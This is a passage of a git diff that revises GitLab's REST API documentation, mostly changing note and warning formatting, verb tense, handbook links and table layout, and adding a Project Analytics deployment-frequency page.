If you are allowed to, you can change approvers and approver groups using
@@ -552,7 +650,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/approvals
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/183) in [GitLab Starter](https://about.gitlab.com/pricing/) 10.6.
-NOTE: **Note:**
+NOTE:
This API endpoint has been deprecated. Please use Approval Rule API instead.
If you are allowed to, you can change approvers and approver groups using
diff --git a/doc/api/merge_request_context_commits.md b/doc/api/merge_request_context_commits.md
index 9b4697390d1..3873cb00033 100644
--- a/doc/api/merge_request_context_commits.md
+++ b/doc/api/merge_request_context_commits.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
diff --git a/doc/api/merge_requests.md b/doc/api/merge_requests.md
index 44c59fd497b..d2144a2c0c5 100644
--- a/doc/api/merge_requests.md
+++ b/doc/api/merge_requests.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
@@ -9,11 +9,11 @@ type: reference, api
Every API call to merge requests must be authenticated.
-CAUTION: **Deprecation:**
+WARNING:
> `reference` attribute in response is deprecated in favour of `references`.
> Introduced [GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20354)
-NOTE: **Note:**
+NOTE:
> `references.relative` is relative to the group / project that the merge request is being requested. When merge request is fetched from its project
> `relative` format would be the same as `short` format and when requested across groups / projects it is expected to be the same as `full` format.
@@ -76,14 +76,14 @@ Parameters:
| `deployed_before` | datetime | no | Return merge requests deployed before the given date/time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
| `deployed_after` | datetime | no | Return merge requests deployed after the given date/time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) |
-NOTE: **Note:**
+NOTE:
[Starting in GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31890),
listing merge requests may not proactively update the `merge_status` field
(which also affects the `has_conflicts` field), as this can be an expensive
operation. If you are interested in the value of these fields from this
endpoint, set the `with_merge_status_recheck` parameter to `true` in the query.
-NOTE: **Note:**
+NOTE:
[Starting in GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/29984),
the mergeability (`merge_status`) of each merge request will be checked
asynchronously when a request is made to this endpoint. Poll this API endpoint
@@ -563,7 +563,7 @@ Parameters:
- `include_diverged_commits_count` (optional) - If `true` response includes the commits behind the target branch
- `include_rebase_in_progress` (optional) - If `true` response includes whether a rebase operation is in progress
-NOTE: **Note:**
+NOTE:
[Starting in GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/29984),
the mergeability (`merge_status`) of a merge request will be checked
asynchronously when a request is made to this endpoint. Poll this API endpoint
diff --git a/doc/api/merge_trains.md b/doc/api/merge_trains.md
index 3cfef3864ad..d8c0acb3896 100644
--- a/doc/api/merge_trains.md
+++ b/doc/api/merge_trains.md
@@ -1,19 +1,19 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Merge Trains API **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36146) in GitLab 12.9.
-> - Using this API you can consume GitLab's [Merge Train](../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md) entries.
+> - Using this API you can consume [Merge Train](../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md) entries.
Every API call to merge trains must be authenticated with Developer or higher [permissions](../user/permissions.md).
-If a user is not a member of a project and the project is private, a `GET` request on that project will result to a `404` status code.
+If a user is not a member of a project and the project is private, a `GET` request on that project returns a `404` status code.
-If Merge Trains is not available for the project, a `403` status code will return.
+If Merge Trains is not available for the project, a `403` status code is returned.
## Merge Trains API pagination
diff --git a/doc/api/metrics_dashboard_annotations.md b/doc/api/metrics_dashboard_annotations.md
index c23ed657583..b92e26b03fb 100644
--- a/doc/api/metrics_dashboard_annotations.md
+++ b/doc/api/metrics_dashboard_annotations.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts, howto
---
@@ -24,7 +24,7 @@ Parameters:
|:---------------|:---------------|:---------|:-----------------------------------------------------------------------------|
| `dashboard_path` | string | yes | ID of the dashboard which needs to be annotated. Treated as a CGI-escaped path, and automatically un-escaped. |
| `starting_at` | string | yes | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z`. Timestamp marking start point of annotation. |
-| `ending_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z`. Timestamp marking end point of annotation. When not supplied annotation will be displayed as single event at start point. |
+| `ending_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z`. Timestamp marking end point of annotation. When not supplied, an annotation displays as a single event at the start point. |
| `description` | string | yes | Description of the annotation. |
```shell
diff --git a/doc/api/metrics_user_starred_dashboards.md b/doc/api/metrics_user_starred_dashboards.md
index 8c2894293ba..79040333148 100644
--- a/doc/api/metrics_user_starred_dashboards.md
+++ b/doc/api/metrics_user_starred_dashboards.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts, howto
---
@@ -26,7 +26,7 @@ Parameters:
| `dashboard_path` | string | yes | URL-encoded path to file defining the dashboard which should be marked as favorite. |
```shell
-curl --header 'Private-Token: <your_access_token>' https://gitlab.example.com/api/v4/projects/20/metrics/user_starred_dashboards \
+curl --header 'Private-Token: <your_access_token>' "https://gitlab.example.com/api/v4/projects/20/metrics/user_starred_dashboards" \
--data-urlencode "dashboard_path=config/prometheus/dashboards/common_metrics.yml"
```
@@ -54,10 +54,10 @@ Parameters:
| Attribute | Type | Required | Description |
|:---------------|:---------------|:---------|:-----------------------------------------------------------------------------|
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
-| `dashboard_path` | string | no | URL-encoded path to file defining the dashboard which should no longer be marked as favorite. When not supplied all dashboards within given projects will be removed from favorites. |
+| `dashboard_path` | string | no | URL-encoded path to file defining the dashboard which should no longer be marked as favorite. When not supplied, all dashboards within given projects are removed from favorites. |
```shell
-curl --request DELETE --header 'Private-Token: <your_access_token>' https://gitlab.example.com/api/v4/projects/20/metrics/user_starred_dashboards \
+curl --request DELETE --header 'Private-Token: <your_access_token>' "https://gitlab.example.com/api/v4/projects/20/metrics/user_starred_dashboards" \
--data-urlencode "dashboard_path=config/prometheus/dashboards/common_metrics.yml"
```
diff --git a/doc/api/milestones.md b/doc/api/milestones.md
index 161b3b81499..93b867c0286 100644
--- a/doc/api/milestones.md
+++ b/doc/api/milestones.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Project milestones API
diff --git a/doc/api/namespaces.md b/doc/api/namespaces.md
index f61400dfddb..4e5a418be7a 100644
--- a/doc/api/namespaces.md
+++ b/doc/api/namespaces.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Namespaces API
@@ -93,12 +93,12 @@ the `plan` parameter associated with a namespace:
]
```
-Users on GitLab.com will also see `max_seats_used` and `seats_in_use` parameters.
+Users on GitLab.com also see `max_seats_used` and `seats_in_use` parameters.
`max_seats_used` is the highest number of users the group had. `seats_in_use` is
the number of license seats currently being used. Both values are updated
once a day.
-`max_seats_used` and `seats_in_use` will be non-zero only for namespaces on paid plans.
+`max_seats_used` and `seats_in_use` are non-zero only for namespaces on paid plans.
```json
[
@@ -113,7 +113,7 @@ once a day.
]
```
-NOTE: **Note:**
+NOTE:
Only group maintainers/owners are presented with `members_count_with_descendants`, as well as `plan` **(BRONZE ONLY)**.
## Search for namespace
diff --git a/doc/api/notes.md b/doc/api/notes.md
index 70aa4923b97..621d8179d98 100644
--- a/doc/api/notes.md
+++ b/doc/api/notes.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Notes API
@@ -14,7 +14,7 @@ Notes are comments on:
- Epics **(ULTIMATE)**
This includes system notes, which are notes about changes to the object (for example, when an
-assignee changes, there will be a corresponding system note).
+assignee changes, GitLab posts a system note).
## Resource events
@@ -137,7 +137,7 @@ Parameters:
- `issue_iid` (required) - The IID of an issue
- `body` (required) - The content of a note. Limited to 1,000,000 characters.
- `confidential` (optional) - The confidential flag of a note. Default is false.
-- `created_at` (optional) - Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires admin or project/group owner rights)
+- `created_at` (optional) - Date time string, ISO 8601 formatted. Example: `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights)
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/notes?body=note"
@@ -244,8 +244,8 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
### Create new snippet note
-Creates a new note for a single snippet. Snippet notes are comments users can post to a snippet.
-If you create a note where the body only contains an Award Emoji, you'll receive this object back.
+Creates a new note for a single snippet. Snippet notes are user comments on snippets.
+If you create a note where the body only contains an Award Emoji, GitLab returns this object.
```plaintext
POST /projects/:id/snippets/:snippet_id/notes
@@ -256,7 +256,7 @@ Parameters:
- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding)
- `snippet_id` (required) - The ID of a snippet
- `body` (required) - The content of a note. Limited to 1,000,000 characters.
-- `created_at` (optional) - Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z
+- `created_at` (optional) - Date time string, ISO 8601 formatted. Example: `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights)
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/snippet/11/notes?body=note"
@@ -368,8 +368,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
### Create new merge request note
Creates a new note for a single merge request.
-If you create a note where the body only contains an Award Emoji, you'll receive
-this object back.
+If you create a note where the body only contains an Award Emoji, GitLab returns this object.
```plaintext
POST /projects/:id/merge_requests/:merge_request_iid/notes
@@ -380,7 +379,7 @@ Parameters:
- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding)
- `merge_request_iid` (required) - The IID of a merge request
- `body` (required) - The content of a note. Limited to 1,000,000 characters.
-- `created_at` (optional) - Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z
+- `created_at` (optional) - Date time string, ISO 8601 formatted. Example: `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights)
### Modify existing merge request note
@@ -486,7 +485,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
### Create new epic note
Creates a new note for a single epic. Epic notes are comments users can post to an epic.
-If you create a note where the body only contains an Award Emoji, you'll receive this object back.
+If you create a note where the body only contains an Award Emoji, GitLab returns this object.
```plaintext
POST /groups/:id/epics/:epic_id/notes
diff --git a/doc/api/notification_settings.md b/doc/api/notification_settings.md
index cbe5aa46a5d..74746f60d7e 100644
--- a/doc/api/notification_settings.md
+++ b/doc/api/notification_settings.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Notification settings API
diff --git a/doc/api/oauth2.md b/doc/api/oauth2.md
index b1c81ff20b6..50d063bdf71 100644
--- a/doc/api/oauth2.md
+++ b/doc/api/oauth2.md
@@ -59,7 +59,7 @@ authorization with each flow.
### Web application flow
-NOTE: **Note:**
+NOTE:
Check the [RFC spec](https://tools.ietf.org/html/rfc6749#section-4.1) for a
detailed flow description.
@@ -105,7 +105,7 @@ The web application flow is:
}
```
-NOTE: **Note:**
+NOTE:
The `redirect_uri` must match the `redirect_uri` used in the original
authorization request.
@@ -113,11 +113,11 @@ You can now make requests to the API with the access token returned.
### Implicit grant flow
-NOTE: **Note:**
+NOTE:
Check the [RFC spec](https://tools.ietf.org/html/rfc6749#section-4.2) for a
detailed flow description.
-CAUTION: **Important:**
+WARNING:
Avoid using this flow for applications that store data outside of the GitLab
instance. If you do, make sure to verify `application id` associated with the
access token before granting access to the data
@@ -149,11 +149,11 @@ https://example.com/oauth/redirect#access_token=ABCDExyz123&state=YOUR_UNIQUE_ST
### Resource owner password credentials flow
-NOTE: **Note:**
+NOTE:
Check the [RFC spec](https://tools.ietf.org/html/rfc6749#section-4.3) for a
detailed flow description.
-NOTE: **Note:**
+NOTE:
The Resource Owner Password Credentials is disabled for users with [two-factor
authentication](../user/profile/account/two_factor_authentication.md) turned on.
These users can access the API using [personal access tokens](../user/profile/personal_access_tokens.md)
@@ -169,7 +169,7 @@ The credentials should only be used when:
privileged application.
- Other authorization grant types are not available (such as an authorization code).
-CAUTION: **Important:**
+WARNING:
Never store the user's credentials and only use this grant type when your client
is deployed to a trusted environment, in 99% of cases
[personal access tokens](../user/profile/personal_access_tokens.md) are a better
diff --git a/doc/api/packages.md b/doc/api/packages.md
index 8124b081506..a52487e35a3 100644
--- a/doc/api/packages.md
+++ b/doc/api/packages.md
@@ -1,7 +1,7 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Packages API
@@ -67,7 +67,7 @@ Example response:
]
```
-By default, the `GET` request will return 20 results, since the API is [paginated](README.md#pagination).
+By default, the `GET` request returns 20 results, since the API is [paginated](README.md#pagination).
### Within a group
@@ -157,7 +157,7 @@ Example response:
]
```
-By default, the `GET` request will return 20 results, since the API is [paginated](README.md#pagination).
+By default, the `GET` request returns 20 results, since the API is [paginated](README.md#pagination).
The `_links` object contains the following properties:
@@ -314,7 +314,7 @@ Example response:
]
```
-By default, the `GET` request will return 20 results, since the API is [paginated](README.md#pagination).
+By default, the `GET` request returns 20 results, since the API is [paginated](README.md#pagination).
## Delete a project package
diff --git a/doc/api/pages.md b/doc/api/pages.md
index fda4a70cbd9..0a79d23b51e 100644
--- a/doc/api/pages.md
+++ b/doc/api/pages.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Pages API
diff --git a/doc/api/pages_domains.md b/doc/api/pages_domains.md
index 6f7236c8d1a..f9bb8521a1f 100644
--- a/doc/api/pages_domains.md
+++ b/doc/api/pages_domains.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Pages domains API
diff --git a/doc/api/personal_access_tokens.md b/doc/api/personal_access_tokens.md
index f7cbaeba438..b3e007308ba 100644
--- a/doc/api/personal_access_tokens.md
+++ b/doc/api/personal_access_tokens.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Compliance
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Personal access tokens API
@@ -23,7 +23,7 @@ GET /personal_access_tokens
|-----------|---------|----------|---------------------|
| `user_id` | integer/string | no | The ID of the user to filter by |
-NOTE: **Note:**
+NOTE:
Administrators can use the `user_id` parameter to filter by a user. Non-administrators cannot filter by any user except themselves. Attempting to do so will result in a `401 Unauthorized` response.
```shell
@@ -82,7 +82,7 @@ DELETE /personal_access_tokens/:id
|-----------|---------|----------|---------------------|
| `id` | integer/string | yes | ID of personal access token |
-NOTE: **Note:**
+NOTE:
Non-administrators can revoke their own tokens. Administrators can revoke tokens of any user.
```shell
diff --git a/doc/api/pipeline_schedules.md b/doc/api/pipeline_schedules.md
index 1faa6ef56db..a400db37b22 100644
--- a/doc/api/pipeline_schedules.md
+++ b/doc/api/pipeline_schedules.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Pipeline schedules API
@@ -109,14 +109,14 @@ Create a new pipeline schedule of a project.
POST /projects/:id/pipeline_schedules
```
-| Attribute | Type | required | Description |
-|---------------|---------|----------|--------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
-| `description` | string | yes | The description of pipeline schedule |
-| `ref` | string | yes | The branch/tag name will be triggered |
-| `cron` | string | yes | The cron (e.g. `0 1 * * *`) ([Cron syntax](https://en.wikipedia.org/wiki/Cron)) |
-| `cron_timezone` | string | no | The timezone supported by `ActiveSupport::TimeZone` (e.g. `Pacific Time (US & Canada)`) (default: `'UTC'`) |
-| `active` | boolean | no | The activation of pipeline schedule. If false is set, the pipeline schedule will deactivated initially (default: `true`) |
+| Attribute | Type | required | Description |
+|-----------------|----------------|----------|-------------------------------------------------------------------------------------------------------------------------|
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `description` | string | yes | The description of the pipeline schedule. |
+| `ref` | string | yes | The branch or tag name that is triggered. |
+| `cron` | string | yes | The [cron](https://en.wikipedia.org/wiki/Cron) schedule, for example: `0 1 * * *`. |
+| `cron_timezone` | string | no | The timezone supported by `ActiveSupport::TimeZone`, for example: `Pacific Time (US & Canada)` (default: `'UTC'`). |
+| `active` | boolean | no | The activation of pipeline schedule. If false is set, the pipeline schedule is initially deactivated (default: `true`). |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form description="Build packages" --form ref="master" --form cron="0 1 * * 5" --form cron_timezone="UTC" --form active="true" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules"
@@ -147,21 +147,21 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form descrip
## Edit a pipeline schedule
-Updates the pipeline schedule of a project. Once the update is done, it will be rescheduled automatically.
+Updates the pipeline schedule of a project. Once the update is done, it is rescheduled automatically.
```plaintext
PUT /projects/:id/pipeline_schedules/:pipeline_schedule_id
```
-| Attribute | Type | required | Description |
-|---------------|---------|----------|--------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
-| `pipeline_schedule_id` | integer | yes | The pipeline schedule ID |
-| `description` | string | no | The description of pipeline schedule |
-| `ref` | string | no | The branch/tag name will be triggered |
-| `cron` | string | no | The cron (e.g. `0 1 * * *`) ([Cron syntax](https://en.wikipedia.org/wiki/Cron)) |
-| `cron_timezone` | string | no | The timezone supported by `ActiveSupport::TimeZone` (e.g. `Pacific Time (US & Canada)`) or `TZInfo::Timezone` (e.g. `America/Los_Angeles`) |
-| `active` | boolean | no | The activation of pipeline schedule. If false is set, the pipeline schedule will deactivated initially. |
+| Attribute | Type | required | Description |
+|------------------------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `pipeline_schedule_id` | integer | yes | The pipeline schedule ID. |
+| `description` | string | no | The description of the pipeline schedule. |
+| `ref` | string | no | The branch or tag name that is triggered. |
+| `cron` | string | no | The [cron](https://en.wikipedia.org/wiki/Cron) schedule, for example: `0 1 * * *`. |
+| `cron_timezone` | string | no | The timezone supported by `ActiveSupport::TimeZone` (for example `Pacific Time (US & Canada)`), or `TZInfo::Timezone` (for example `America/Los_Angeles`). |
+| `active` | boolean | no | The activation of pipeline schedule. If false is set, the pipeline schedule is initially deactivated. |
```shell
curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form cron="0 2 * * *" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules/13"
diff --git a/doc/api/pipeline_triggers.md b/doc/api/pipeline_triggers.md
index c46992de51b..ea10b14bc2e 100644
--- a/doc/api/pipeline_triggers.md
+++ b/doc/api/pipeline_triggers.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Pipeline triggers API
diff --git a/doc/api/pipelines.md b/doc/api/pipelines.md
index 145a0a5ab7e..14ded7c569d 100644
--- a/doc/api/pipelines.md
+++ b/doc/api/pipelines.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Pipelines API
@@ -155,7 +155,7 @@ Example of response
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202525) in GitLab 13.0.
-NOTE: **Note:**
+NOTE:
This API route is part of the [Unit test report](../ci/unit_test_reports.md) feature.
```plaintext
diff --git a/doc/api/project_aliases.md b/doc/api/project_aliases.md
index cfd225639f9..270c88ca661 100644
--- a/doc/api/project_aliases.md
+++ b/doc/api/project_aliases.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
diff --git a/doc/api/project_analytics.md b/doc/api/project_analytics.md
new file mode 100644
index 00000000000..97b15cc2c88
--- /dev/null
+++ b/doc/api/project_analytics.md
@@ -0,0 +1,52 @@
+---
+stage: Release
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference, api
+---
+
+# Project Analytics API **(ULTIMATE ONLY)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/279039) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.7.
+
+All methods require reporter authorization.
+
+## List project deployment frequencies
+
+Get a list of all project aliases:
+
+```plaintext
+GET /projects/:id/analytics/deployment_frequency?environment=:environment&from=:from&to=:to&interval=:interval
+```
+
+| Attribute | Type | Required | Description |
+|--------------|--------|----------|-----------------------|
+| `id` | string | yes | The ID of the project |
+
+| Parameter | Type | Required | Description |
+|--------------|--------|----------|-----------------------|
+| `environment`| string | yes | The name of the environment to filter by |
+| `from` | string | yes | Datetime range to start from, inclusive, ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`) |
+| `to` | string | no | Datetime range to end at, exclusive, ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`) |
+| `interval` | string | no | The bucketing interval (`all`, `monthly`, `daily`) |
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/:id/analytics/deployment_frequency?from=:from&to=:to&interval=:interval"
+```
+
+Example response:
+
+```json
+[
+ {
+ "from": "2017-01-01",
+ "to": "2017-01-02",
+ "value": 106
+ },
+ {
+ "from": "2017-01-02",
+ "to": "2017-01-03",
+ "value": 55
+ }
+]
+```
diff --git a/doc/api/project_badges.md b/doc/api/project_badges.md
index b8ea55ab72f..2ca22baf654 100644
--- a/doc/api/project_badges.md
+++ b/doc/api/project_badges.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
diff --git a/doc/api/project_clusters.md b/doc/api/project_clusters.md
index ce175184179..3cc8cd07923 100644
--- a/doc/api/project_clusters.md
+++ b/doc/api/project_clusters.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Project clusters API
@@ -20,9 +20,9 @@ GET /projects/:id/clusters
Parameters:
-| Attribute | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `id` | integer | yes | The ID of the project owned by the authenticated user |
+| Attribute | Type | Required | Description |
+| --------- | ------- | -------- | ----------------------------------------------------- |
+| `id` | integer | yes | The ID of the project owned by the authenticated user |
Example request:
@@ -39,6 +39,8 @@ Example response:
"name":"cluster-1",
"domain":"example.com",
"created_at":"2019-01-02T20:18:12.563Z",
+ "managed": true,
+ "enabled": true,
"provider_type":"user",
"platform_type":"kubernetes",
"environment_scope":"*",
@@ -88,10 +90,10 @@ GET /projects/:id/clusters/:cluster_id
Parameters:
-| Attribute | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `id` | integer | yes | The ID of the project owned by the authenticated user |
-| `cluster_id` | integer | yes | The ID of the cluster |
+| Attribute | Type | Required | Description |
+| ------------ | ------- | -------- | ----------------------------------------------------- |
+| `id` | integer | yes | The ID of the project owned by the authenticated user |
+| `cluster_id` | integer | yes | The ID of the cluster |
Example request:
@@ -107,6 +109,8 @@ Example response:
"name":"cluster-1",
"domain":"example.com",
"created_at":"2019-01-02T20:18:12.563Z",
+ "managed": true,
+ "enabled": true,
"provider_type":"user",
"platform_type":"kubernetes",
"environment_scope":"*",
@@ -179,20 +183,20 @@ POST /projects/:id/clusters/user
Parameters:
-| Attribute | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `id` | integer | yes | The ID of the project owned by the authenticated user |
-| `name` | string | yes | The name of the cluster |
-| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster |
-| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster |
-| `enabled` | boolean | no | Determines if cluster is active or not, defaults to true |
-| `managed` | boolean | no | Determines if GitLab will manage namespaces and service accounts for this cluster, defaults to true |
-| `platform_kubernetes_attributes[api_url]` | string | yes | The URL to access the Kubernetes API |
-| `platform_kubernetes_attributes[token]` | string | yes | The token to authenticate against Kubernetes |
-| `platform_kubernetes_attributes[ca_cert]` | string | no | TLS certificate. Required if API is using a self-signed TLS certificate. |
-| `platform_kubernetes_attributes[namespace]` | string | no | The unique namespace related to the project |
-| `platform_kubernetes_attributes[authorization_type]` | string | no | The cluster authorization type: `rbac`, `abac` or `unknown_authorization`. Defaults to `rbac`. |
-| `environment_scope` | string | no | The associated environment to the cluster. Defaults to `*` **(PREMIUM)** |
+| Attribute | Type | Required | Description |
+| ---------------------------------------------------- | ------- | -------- | ----------------------------------------------------------------------------------------------------- |
+| `id` | integer | yes | The ID of the project owned by the authenticated user |
+| `name` | string | yes | The name of the cluster |
+| `domain` | string | no | The [base domain](../user/project/clusters/index.md#base-domain) of the cluster |
+| `management_project_id` | integer | no | The ID of the [management project](../user/clusters/management_project.md) for the cluster |
